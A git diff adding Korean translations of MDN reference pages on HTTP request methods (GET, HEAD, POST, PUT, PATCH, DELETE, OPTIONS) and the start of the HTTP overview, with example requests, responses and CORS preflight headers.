scope="row">{{Glossary("Idempotent", "멱등성")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row"><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>에서 사용 가능</th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox notranslate">DELETE /file.html HTTP/1.1 +</pre> + +<h2 id="예제">예제</h2> + +<h3 id="요청">요청</h3> + +<pre class="notranslate">DELETE /file.html HTTP/1.1</pre> + +<h3 id="응답">응답</h3> + +<p><code>DELETE</code> 메서드를 성공적으로 적용한 후에 사용할 수 있는 응답 상태 코드는 다음과 같이 몇 가지가 있습니다.</p> + +<ul> + <li>아마도 명령을 성공적으로 수행할 것 같으나 아직은 실행하지 않은 경우 {{HTTPStatus("202")}} (<code>Accepted</code>) 상태 코드.</li> + <li>명령을 수행했고 더 이상 제공할 정보가 없는 경우 {{HTTPStatus("204")}} (<code>No Content</code>) 상태 코드.</li> + <li>명령을 수행했고 응답 메시지가 이후의 상태를 설명하는 경우 {{HTTPStatus("200")}} (<code>OK</code>) 상태 코드.</li> +</ul> + +<pre class="notranslate">HTTP/1.1 200 OK +Date: Wed, 21 Oct 2015 07:28:00 GMT + +<html> + <body> + <h1>File deleted.</h1> + </body> +</html></pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "DELETE", "4.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성표는 구조화된 데이터로부터 생성되었습니다. 만약 그 데이터에 기여하고 싶으시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 참고하시고 요청을 보내주시기 바랍니다.</p> + +<p>{{Compat("http.methods.DELETE")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>HTTP 상태: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li> +</ul> diff --git a/files/ko/web/http/methods/get/index.html b/files/ko/web/http/methods/get/index.html new file mode 100644 index 0000000000..0efa428125 --- /dev/null +++ b/files/ko/web/http/methods/get/index.html @@ -0,0 +1,75 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/GET +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><strong>HTTP <code>GET</code> 메서드</strong>는 특정한 리소스를 가져오도록 요청합니다.</span> <code>GET</code> 요청은 데이터를 가져올 때만 사용해야 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">요청에 본문 존재</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">성공 응답에 본문 존재</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe", "안전함")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">HTML 양식에서 사용 가능</th> + <td>예</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">GET /index.html +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "GET", "4.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.GET")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{httpmethod("POST")}}</li> +</ul> diff --git a/files/ko/web/http/methods/head/index.html b/files/ko/web/http/methods/head/index.html new file mode 100644 index 0000000000..b5222ce97a --- /dev/null +++ b/files/ko/web/http/methods/head/index.html @@ -0,0 +1,77 @@ +--- +title: HEAD +slug: Web/HTTP/Methods/HEAD +tags: + - HTTP + - HTTP method + - Reference +translation_of: Web/HTTP/Methods/HEAD +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>HEAD</code> 메서드</strong>는 특정 리소스를 {{httpmethod("GET")}} 메서드로 요청했을 때 돌아올 헤더를 요청합니다.</p> + +<p><code>HEAD</code> 메서드에 대한 응답은 본문을 가져선 안되며, 본문이 존재하더라도 무시해야 합니다. 그러나, {{httpheader("Content-Length")}}처럼 본문 콘텐츠를 설명하는 {{glossary("entity header", "개체 헤더")}}는 포함할 수 있습니다. 이 때, 개체 헤더는 비어있어야 하는 <code>HEAD</code>의 본문과는 관련이 없고, 대신 {{httpmethod("GET")}} 메서드로 동일한 리소스를 요청했을 때의 본문을 설명합니다.</p> + +<p><code>HEAD</code> 요청의 응답이 캐시했던 이전 {{httpmethod("GET")}} 메서드의 응답을 유효하지 않다고 표시할 경우, 새로운 <code>GET</code> 요청을 생성하지 않더라도 캐시를 무효화합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">요청에 본문 존재</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">성공 응답에 본문 존재</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe", "안전함")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">HTML 양식에서 사용 가능</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">HEAD /index.html +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "HEAD", "4.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.HEAD")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPMethod("GET")}}</li> +</ul> diff --git a/files/ko/web/http/methods/index.html b/files/ko/web/http/methods/index.html new file mode 100644 index 0000000000..5c3495fd85 --- /dev/null +++ b/files/ko/web/http/methods/index.html @@ -0,0 +1,73 @@ +--- +title: HTTP 요청 메서드 +slug: Web/HTTP/Methods +tags: + - HTTP + - Methods + - Reference +translation_of: Web/HTTP/Methods +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP는 <strong>요청 메서드</strong>를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부 기능은 메서드 집합 간에 서로 공유하기도 합니다. 이를테면 응답 메서드는 {{glossary("safe", "안전")}}하거나, {{glossary("cacheable", "캐시 가능")}}하거나, {{glossary("idempotent", "멱등성")}}을 가질 수 있습니다.</p> + +<dl> + <dt>{{httpmethod("GET")}}</dt> + <dd><code>GET</code> 메서드는 특정 리소스의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 오직 데이터를 받기만 합니다.</dd> + <dt>{{httpmethod("HEAD")}}</dt> + <dd><code>HEAD</code> 메서드는 <code>GET</code> 메서드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않습니다.</dd> + <dt>{{httpmethod("POST")}}</dt> + <dd><code>POST</code> 메서드는 특정 리소스에 엔티티를 제출할 때 쓰입니다. 이는 종종 서버의 상태의 변화나 부작용을 일으킵니다.</dd> + <dt>{{httpmethod("PUT")}}</dt> + <dd> + <p><code>PUT</code> 메서드는 목적 리소스 모든 현재 표시를 요청 payload로 바꿉니다.</p> + </dd> + <dt>{{httpmethod("DELETE")}}</dt> + <dd><code>DELETE</code> 메서드는 특정 리소스를 삭제합니다.</dd> + <dt>{{httpmethod("CONNECT")}}</dt> + <dd> + <p><code>CONNECT</code> 메서드는 목적 리소스로 식별되는 서버로의 터널을 맺습니다.</p> + </dd> + <dt>{{httpmethod("OPTIONS")}}</dt> + <dd><code>OPTIONS</code> 메서드는 목적 리소스의 통신을 설정하는 데 쓰입니다.</dd> + <dt>{{httpmethod("TRACE")}}</dt> + <dd> + <p><code>TRACE</code> 메서드는 목적 리소스의 경로를 따라 메시지 loop-back 테스트를 합니다.</p> + </dd> + <dt>{{httpmethod("PATCH")}}</dt> + <dd><code>PATCH</code> 메서드는 리소스의 부분만을 수정하는 데 쓰입니다.</dd> +</dl> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + <th scope="col">해설</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH Method for HTTP</td> + <td>Specifies PATCH.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 표는 구조화 된 데이터로 생성 되었습니다. 호환성 데이터에 기여하려면, 이 파일에 Pull-Request 해주세요: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> + +<p>{{Compat("http/methods")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li> +</ul> diff --git a/files/ko/web/http/methods/options/index.html b/files/ko/web/http/methods/options/index.html new file mode 100644 index 0000000000..58bf6868e4 --- /dev/null +++ b/files/ko/web/http/methods/options/index.html @@ -0,0 +1,131 @@ +--- +title: OPTIONS +slug: Web/HTTP/Methods/OPTIONS +tags: + - HTTP + - 요청 메소드 +translation_of: Web/HTTP/Methods/OPTIONS +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>OPTIONS</code> method</strong> 는 목표 리소스와의 통신 옵션을 설명하기 위해 사용됩니다. 클라이언트는 OPTIONS 메소드의 URL을 특정지을 수 있으며, aterisk(*) 를 통해 서버 전체를 선택할 수 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in HTML forms</th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1 +OPTIONS * HTTP/1.1 +</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Identifying_allowed_request_methods">Identifying allowed request methods</h3> + +<p>curl을 이용하여 OPTIONS 요청을 서버에 보냄으로써 서버에서 지원하는 method를 확인할 수 있다.</p> + +<pre>curl -X OPTIONS http://example.org -i</pre> + +<p>요청을 보내면, 응답에 {{HTTPHeader("Allow")}}헤더가 포함되어서 오는데, 이를 통해 허용되는 메소드를 확인할 수 있다.</p> + +<pre>HTTP/1.1 200 OK +Allow: OPTIONS, GET, HEAD, POST +Cache-Control: max-age=604800 +Date: Thu, 13 Oct 2016 11:45:00 GMT +Expires: Thu, 20 Oct 2016 11:45:00 GMT +Server: EOS (lax004/2813) +x-ec-custom-error: 1 +Content-Length: 0 +</pre> + +<h3 id="Preflighted_requests_in_CORS">Preflighted requests in CORS</h3> + + + +<p>In <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> 에서, <code>OPTIONS</code> 메소드를 통해 프리플라이트 요청 (preflight, 사전 전달), 즉 사전 요청을 보내 서버가 해당 parameters를 포함한 요청을 보내도 되는지에 대한 응답을 줄 수 있게 한다. </p> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 프리플라이트 요청의 일부분으로 서버에게 실제 요청이 전달 될 때 <code>POST</code> 요청 메소드로 전달될 것 임을 명시한다. </p> + +<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 서버에게 실제 요청이 전달될 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> custom headers 와 함께 전달될 것 임을 명시한다. 서버는 그럼 이러한 요구사항들에 맞춰 요청을 수락할 것인지 정할 수 있다. </p> + +<pre>OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<p>서버는 {{HTTPHeader("Access-Control-Allow-Methods")}}로 응답하고, <code>POST</code>, <code>GET</code>, 그리고 <code>OPTIONS</code> 메소드를 통해서 해당하는 자원을 문의 (query) 할 수 알려준다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 비슷하지만 반드시 CORS 에 한해서만 사용된다. </p> + +<pre>HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.OPTIONS")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Allow")}} header</li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li> +</ul> diff --git a/files/ko/web/http/methods/patch/index.html b/files/ko/web/http/methods/patch/index.html new file mode 100644 index 0000000000..a67f4a7c87 --- /dev/null +++ b/files/ko/web/http/methods/patch/index.html @@ -0,0 +1,95 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +translation_of: Web/HTTP/Methods/PATCH +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP PATCH</strong> 메소드는 리소스의 부분적인 수정을 할 때에 사용됩니다.</p> + +<p>HTTP {{HTTPMethod("PUT")}} 메소드는 문서 전체의 완전한 교체만을 허용합니다. 반면 <code>PATCH</code> 메소드는 <code>PUT</code> 메소드와 달리 멱등성을 가지지 않는데, 이는 동일한 patch 요청이 다른 결과를 야기할 수도 있음을 뜻합니다. 하지만 PATCH를 PUT과 같은 방식으로 사용함으로써 멱등성을 가지게 할 수도 있습니다.</p> + +<p><code>PATCH</code> (혹은 <code>PUT</code>)는 다른 리소스에게 부수효과(side-effects)를 일으킬 가능성이 있습니다.</p> + +<p>서버가 <code>PATCH</code>를 지원하는지 알 수 있게끔 하기 위해, 서버는 {{HTTPHeader("Allow")}} 리스트 혹은 {{HTTPHeader("Access-Control-Allow-Methods")}} (for CORS) 응답 헤더를 통해 이를 명시할 수 있습니다.</p> + +<p>PATCH가 허용되는지 확인할 수 있는 또 다른 (암묵적인)지표로 {{HTTPHeader("Accept-Patch")}}의 존재 유무를 들 수 있는데, 이를 통해 patch 문서 양식이 서버에 받아 들여졌음을 알 수 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1 +</pre> + +<h2 id="Example">Example</h2> + +<h3 id="Request">Request</h3> + +<pre class="line-numbers language-html notranslate">PATCH /file.txt HTTP/1.1 +Host: www.example.com +Content-Type: application/example +If-Match: "e0023aa4e" +Content-Length: 100 + +[description of changes]</pre> + +<h3 id="Response">Response</h3> + +<p>성공적인 응답은 2xx 상태 코드를 통해서 확인할 수 있습니다.</p> + +<p>아래의 예시에서는 {{HTTPStatus("204")}} 응답이 사용되었는데, 이는 응답이 유의미한 body를 전달하고 있지 않기 때문입니다. {HTTPStatus("200")}} 응답에서는 body에 유의미한 데이터가 포함되어 있음을 유추할 수 있습니다.</p> + +<pre class="newpage notranslate">HTTP/1.1 204 No Content +Content-Location: /file.txt +ETag: "e0023aa4f"</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("5789", "PATCH")}}</td> + <td>PATCH Method for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("204")}}</li> + <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Accept-Patch")}} – specifies the patch document formats accepted by the server.</li> +</ul> diff --git a/files/ko/web/http/methods/post/index.html b/files/ko/web/http/methods/post/index.html new file mode 100644 index 0000000000..75884855fc --- /dev/null +++ b/files/ko/web/http/methods/post/index.html @@ -0,0 +1,127 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/POST +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>POST</code> 메서드</strong>는 서버로 데이터를 전송합니다. 요청 본문의 유형은 {{httpheader("Content-Type")}} 헤더로 나타냅니다.</p> + +<p>{{httpmethod("PUT")}}과 <code>POST</code>의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과(side effect)가 없습니다.</p> + +<p><code>POST</code> 요청은 보통 <a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>을 통해 서버에 전송하며, 서버에 변경사항을 만듭니다. 이 경우의 콘텐츠 유형(<code>Content-Type</code>)은 <dfn> {{HTMLElement("form")}} 요소의 {{htmlattrxref("enctype", "form")}} 특성이나 {{HTMLElement("input") }}, {{HTMLElement("button")}} </dfn>요소의 <dfn>{{htmlattrxref("formenctype", "input")}} 특성 안에 적당한 문자열을 넣어 결정합니다.</dfn></p> + +<ul> + <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: &으로 분리되고, "=" 기호로 값과 키를 연결하는 key-value tuple로 인코딩되는 값입니다.</dfn><dfn> 영어 알파벳이 아닌 문자들은 {{glossary("percent encoded")}} 으로 인코딩됩니다. 따라서, 이 content type은 바이너리 데이터에 사용하기에는 적절치 않습니다. (바이너리 데이터에는 use <code>multipart/form-data</code> 를 사용해 주세요.)</dfn></li> + <li><dfn><code>multipart/form-data</code></dfn></li> + <li><dfn><code>text/plain</code></dfn></li> +</ul> + +<p><code>POST</code> 요청을 HTML 양식 외의 다른 방법({{domxref("XMLHttpRequest")}} 등)으로 전송할 땐 요청의 본문이 어떤 형태도 취할 수 있습니다. HTTP 1.1 규격에 정의된 바와 같이, <code>POST</code>는 다음의 기능을 포함하는 균일한 메서드를 허용하도록 설계되었습니다.</p> + +<ul> + <li>기존 리소스에 주석달기</li> + <li>게시판, 뉴스 그룹, 메일링 리스트나 이와 유사한 시스템에 글 올리기</li> + <li>회원가입 모달로 새로운 사용자 추가하기</li> + <li>양식 전송 결과 등 데이터 블록을 데이터 처리 프로세스에 보내기</li> + <li>이어붙이기 연산을 통한 데이터베이스 확장</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">요청에 본문 존재</th> + <td>예</td> + </tr> + <tr> + <th scope="row">성공 응답에 본문 존재</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe", "안전함")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th> + <td>신선도 정보 포함 시</td> + </tr> + <tr> + <th scope="row">HTML 양식에서 사용 가능</th> + <td>예</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">POST /index.html +</pre> + +<h2 id="예제">예제</h2> + +<p>다음은 <code>application/x-www-form-urlencoded</code> 콘텐츠 유형을 사용하는 간단한 형태의 양식 제출 예시입니다.</p> + +<pre class="line-numbers language-html">POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p><code>multipart/form-data</code> 콘텐츠 유형을 사용하는 예시입니다.</p> + +<pre>POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary-- +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "POST", "4.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("2046", "Common Syntax", "5.1.1")}}</td> + <td>Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.POST")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> + <li>{{httpmethod("GET")}}</li> +</ul> diff --git a/files/ko/web/http/methods/put/index.html b/files/ko/web/http/methods/put/index.html new file mode 100644 index 0000000000..0f440eb174 --- /dev/null +++ b/files/ko/web/http/methods/put/index.html @@ -0,0 +1,101 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/PUT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>PUT</code> 메서드</strong>는 요청 페이로드를 사용해 새로운 리소스를 생성하거나, 대상 리소스를 나타내는 데이터를 대체합니다.</p> + +<p><code>PUT</code>과 {{httpmethod("POST")}}의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과가 없습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">요청에 본문 존재</th> + <td>예</td> + </tr> + <tr> + <th scope="row">성공 응답에 본문 존재</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe", "안전함")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th> + <td>예</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">HTML 양식에서 사용 가능</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">PUT /new.html HTTP/1.1 +</pre> + +<h2 id="예제">예제</h2> + +<h3 id="요청">요청</h3> + +<pre>PUT /new.html HTTP/1.1 +Host: example.com +Content-type: text/html +Content-length: 16 + +<p>New File</p></pre> + +<h3 id="응답">응답</h3> + +<p>대상 리소스를 나타내는 데이터가 없고, PUT 요청이 성공적으로 하나를 새로 생성한 경우, 출처 서버는 반드시 {{glossary("user agent", "사용자 에이전트")}}에게 {{HTTPStatus("201")}} (<code>Created</code>) 응답을 보내 해당 사항을 알려줘야 합니다.</p> + +<pre class="newpage">HTTP/1.1 201 Created +Content-Location: /new.html</pre> + +<p>대상 리소스를 나타내는 데이터가 있고, 이를 요청에 포함된 자료에 준하여 성공적으로 수정했다면, 출처 서버는 반드시 {{httpstatus("200")}} (<code>OK</code>) 또는 {{httpstatus("204")}} (<code>No Content</code>) 응답을 보내 성공을 알려줘야 합니다.</p> + +<pre>HTTP/1.1 204 No Content +Content-Location: /existing.html +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "PUT", "4.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.PUT")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPStatus("201")}}</li> + <li>{{HTTPStatus("204")}}</li> +</ul> diff --git a/files/ko/web/http/overview/index.html b/files/ko/web/http/overview/index.html new file mode 100644 index 0000000000..f353394867 --- /dev/null +++ b/files/ko/web/http/overview/index.html @@ -0,0 +1,179 @@ +--- +title: HTTP 개요 +slug: Web/HTTP/Overview +tags: + - HTTP + - Overview + - WebMechanics + - 'l10n:priority' +translation_of: Web/HTTP/Overview +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>HTTP는 HTML 문서와 같은 리소스들을 가져올 수 있도록 해주는 </strong>{{glossary("protocol", "프로토콜")}}입니다. HTTP는 웹에서 이루어지는 모든 데이터 교환의 기초이며, 클라이언트-서버 프로토콜이기도 합니다. 클라이언트-서버 프로토콜이란 (보통 웹브라우저인) 수신자 측에 의해 요청이 초기화되는 프로토콜을 의미합니다. 하나의 완전한 문서는 텍스트, 레이아웃 설명, 이미지, 비디오, 스크립트 등 불러온(fetched) 하위 문서들로 재구성됩니다.</p> + +<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> + +<p>클라이언트와 서버들은 (데이터 스트림과 대조적으로) 개별적인 메시지 교환에 의해 통신합니다. 보통 브라우저인 클라이언트에 의해 전송되는 메시지를 <em>요청(requests)이</em>라고 부르며, 그에 대해 서버에서 응답으로 전송되는 메시지를 응답(<em>responses)이</em>라고 부릅니다.</p> + +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">1990년대 초에 설계된 HTTP는 거듭하여 진화해온 확장 가능한 프로토콜입니다. HTTP는 애플리케이션 계층의 프로토콜로, 신뢰 가능한 전송 프로토콜이라면 이론상으로는 무엇이든 사용할 수 있으나 {{glossary("TCP")}} 혹은 암호화된 TCP 연결인 {{glossary("TLS")}}를 통해 전송됩니다. HTTP의 확장성 덕분에, 오늘날 하이퍼텍스트 문서 뿐만 아니라 이미지와 비디오 혹은 HTML 폼 결과와 같은 내용을 서버로 포스트(POST)하기 위해서도 사용됩니다. HTTP는 또한 필요할 때마다 웹 페이지를 갱신하기 위해 문서의 일부를 가져오는데 사용될 수도 있습니다.</p> 